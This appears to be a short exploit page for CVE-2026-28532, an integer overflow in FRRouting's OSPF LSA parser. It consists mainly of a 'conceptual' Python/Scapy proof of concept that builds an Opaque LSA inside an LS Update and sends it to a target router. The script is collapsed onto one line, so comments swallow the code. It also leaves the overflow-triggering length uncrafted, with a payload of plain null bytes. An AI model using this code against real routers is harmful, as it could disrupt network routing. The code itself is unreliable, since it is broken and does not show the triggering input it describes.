CVE-2026-28532: FRRouting OSPF解析器整数溢出漏洞

from scapy.all import * # This is a conceptual PoC for CVE-2026-28532 # It constructs a malicious OSPF LSA packet to trigger the integer overflow. def send_exploit(target_ip, local_ip): # Construct OSPF Header ospf_header = OSPF_Hdr(src=local_ip) # Construct a malicious Opaque LSA (Type 10 or 11) # The Length field needs to be crafted to trigger the uint16_t overflow # in the TLV parser loop. # Example: Setting a large length that causes accumulation to wrap malicious_lsa = OSPF_LSA(type=10, ls_id=1, adv_rtr=local_ip, seq=0x80000001, age=1, # Payload simulates the crafted TLVs data=b'\x00'*100) # Encapsulate in OSPF LS Update ls_update = OSPF_LSUpd(ls_count=1, lsa_list=[malicious_lsa]) # Send packet packet = IP(dst=target_ip)/ospf_header/ls_update send(packet) print("Note: This PoC requires Scapy and an established OSPF adjacency.")